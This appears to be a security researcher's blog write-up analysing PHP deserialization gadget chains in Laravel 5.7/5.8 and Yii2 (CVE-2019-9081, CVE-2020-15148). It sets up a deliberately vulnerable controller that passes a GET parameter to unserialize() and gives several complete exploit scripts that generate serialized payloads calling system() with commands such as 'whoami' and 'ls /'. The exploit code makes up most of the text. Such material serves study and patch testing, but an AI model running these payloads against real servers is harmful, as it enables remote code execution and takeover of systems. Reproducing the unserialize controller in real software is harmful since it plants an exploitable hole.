Some PHP Pop Chain Analysis

There are some interesting php pop chain I really enjoy it.

Tools:
vscode,PHP IntelliSense

1. Laravel Unserialize Pop Chain

Laravel is a php framework for web artisans,website https://laravel.com/. build this laravel i think is diffcute so i use docker to build them.in vendor/laravel/framework/src/Illuminate/Foundation/Application.php Line 32 you can see which version you build

1.1. Laravel 5.8.X

Run by dockerdocker run -d -p 8000:8000 --name laravel oubingbing/laravel5.8:v1.
vim /routes/web.php

1
Route::get("/demo","\App\Http\Controllers\DemoController@demo");

vim /app/Http/Controllers/DemoController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}

Enjoy it

1.1.1. laravel 5.8 exp1

First We need find __destruct()
In namespace Illuminate\Broadcasting;

so we need find another class has dispatch function which is dangerous
In namespace Illuminate\Bus;
we find

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected $queueResolver;
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);
.....
}
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

so if $this->queueResolver && $this->commandShouldBeQueued($command) is true,we can invoke call_user_func function. so we analy how to do it.
first the queueResolver we can define and is invoke function name so we need define ‘system’ or other function. $this->commandShouldBeQueued is return $command instanceof ShouldQueue; so we need find a class implements ShouldQueue and get him a connection attribute for system function invoke. so we need search implements ShouldQueue

those are ok. we use namespace Illuminate\Events; class CallQueuedListener implements ShouldQueue
finall exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
namespace Illuminate\Events{
class CallQueuedListener
{
public $connection = "whoami";
}
}
namespace{
$a = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Events\CallQueuedListener();
$c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
echo urlencode(serialize($c));
}
?>

1.1.2. laravel 5.8 exp2

In namespace Illuminate\Validation; class Validator implements ValidatorContract,we find

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters)
....
}
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];

if (is_callable($callback)) {
return call_user_func_array($callback,
...
}

__call is an magic methods in php. when some function in not define in class but invoke.we can also use

1
2
3
4
5
6
7
8
9
10
namespace Illuminate\Broadcasting;
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}

so if $this->events define to class Validator. when call dispatch function will into __call magic method. so we let class $parameters Validatorextensions rule =system,and PendingBroadcast->event==whoami.

so we need analy how to set Validator->extensions[$rule] ,first we need learn in laravel $rule = Str::snake(substr($method, 8));

in document https://laravel.com/docs/8.x/helpers#method-snake-case

The Str::snake method converts the given string to snake_case. but if the given string not a suitable string will return null. for example,if rule set dispatch

the result is

1
2
string(8) "dispatch"
string(0) ""

so we just need set $this->extensions=array(‘’=>’system’)

final exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{

public $extensions = [];
public function __construct($extension)
{
$this->extensions = $extension;
}
}
}

namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'ls /');
echo urlencode(serialize($a));}

1.1.3. laravel 5.8 exp3

In namespace Faker; class Generator. we find

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
.....
}

also we use this as entrance

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace Illuminate\Broadcasting;
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}

Lastly we need invoke call_user_func_array,and the $arguments==$attributes==$this->event==ls /,
the $events=class Generator,and Generator->getFormatter($formatter)==Generator->formatters[$formatter]==Generator->formatters[$method]==Generator->formatters["dispatch"]==system
so final exp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
private $dispatch;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}

namespace {
$b = new Faker\Generator(['dispatch'=>'system']);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'ls /');
echo urlencode(serialize($a));
}

1.2. Laravel 5.7.X

now install by the source code for debug
you can get source from https://github.com/laravel/laravel/releases,
for 5.7 https://codeload.github.com/laravel/laravel/zip/v5.7.0,if you put this source to www dir,you will ……

so you should install composer

1
2
3
php -r "copy('https://install.phpcomposer.com/installer', 'composer-setup.php');"
php composer-setup.php
php -r "unlink('composer-setup.php');"

change composer china source

1
2
3
composer config -g secure-http false
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer config -g -l

you need vim laravel\config\app.php

1
'debug' => env('APP_DEBUG', false), to 'debug' => env('APP_DEBUG', true),

change .env.example to .env then run

1
2
composer install
php artisan key:generate



Good job. Enjoy it

tips. the difference between laravel 5.7 and laravel 5.8

1.1.1. laravel 5.8 exp1 and 1.1.2. laravel 5.8 exp2 In laravel 5.7 as usual.but 1.1.3. laravel 5.8 exp3 is unuseful And Laravel 5.7.X exp1/2 is as same useful for laravel 5.8
why?
In laravel 5.7 Generator.php Line 295

1
2
3
4
public function __wakeup()
{
$this->formatters = [];
}

so unser Faker\Generator will faild to set $this->formatters

1.2.1. Laravel 5.7.X exp1 CVE-2019-9081

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];

public function __construct($instances = []){
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("whoami"));
echo urlencode(serialize($pendingcommand));
}

1.2.2. Laravel 5.7.X exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}


namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('whoami'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}

2. Yii2 Unserialize Pop Chain

2.1. Yii2 less than 2.0.38 Unserialize Pop Chain

Yii is a fast, secure, and efficient PHP framework. download in here https://github.com/yiisoft/yii2/releases

i like download basic-app-2.0.37.tgz.then set /web/ as website

if you want add a route you just need. in /controllers/AController add function actionB. for example

1
2
3
4
5
6
7
8
9
10
11
function actionUnser()
{
if(Yii::$app->request->get('c')){
$code = Yii::$app->request->get('c');
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to yii2 2.0.37";
}


then you visit index.php?r=a/b

enjoy it.


firstly we learn two important function in php,call_user_func and call_user_func_array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

call_user_func("system","ls /");
call_user_func_array("system",["ls /"]);
class Test
{
static public function demo($a, $b)
{
echo $a + $b;
}
public function show($a, $b)
{
echo $a + $b;
}
}
// call the static function by array method
call_user_func(['Test', 'demo'], 1, 2); // 3
call_user_func_array(['Test', 'demo'], [1, 2]); // 3
// Class name method name in string form
call_user_func('Test::demo', 1, 2); // 3
call_user_func_array('Test::demo', [1, 2]); // 3

// Call the dynamic method in the class. The object and method must be passed in the form of array
call_user_func([new Test, 'show'], 1, 2); // 3
call_user_func_array([new Test, 'show'], [1, 2]); // 3
?>

2.1.1. CVE-2020-15148 Yii2 less than 2.0.38 exp1

as usual . search __destruct().
in namespace yii\db;,class BatchQueryResult

1
2
3
4
5
6
7
8
9
10
11
public function __destruct()
{
$this->reset();
}

public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
}

thought we can’t find other close() function but we can search __call function to invoke it.so we find namespace Faker; class Generator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
protected $formatters = array();
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

}

but $attributes is array(),and we can’t set value for it. so we need set $method==$this->getFormatter($formatter)==$this->formatters[$formatter]==$this->formatters['close']==some funtion had't attributes. infact we can’t find proper function.
for example-phpinfo exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

namespace Faker{
class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = 'phpinfo';
}
}
}

namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo urlencode(serialize(new yii\db\BatchQueryResult));
}
?>

but we can set $this->formatters['close'] as other class::funtion for example

1
2
3
4
5
6
7
8
9
10
11
<?php

class Test
{
public function show()
{
phpinfo();
}
}
call_user_func_array([new Test, 'show'], array()); // 3
?>


so we need search other dangerous function which param can be array();
in vscode we can search by regular expression call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)or call_user_func_array\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
in namespace yii\rest;,class IndexAction

1
2
3
4
5
6
7
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
.....
}

or namespace yii\rest; class IndexAction
so we need set $this->checkAccess as system.$this->id as whoami
then set $this->formatters['close'] as [new CreateAction, 'run']
so final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo urlencode(serialize(new yii\db\BatchQueryResult));
}
?>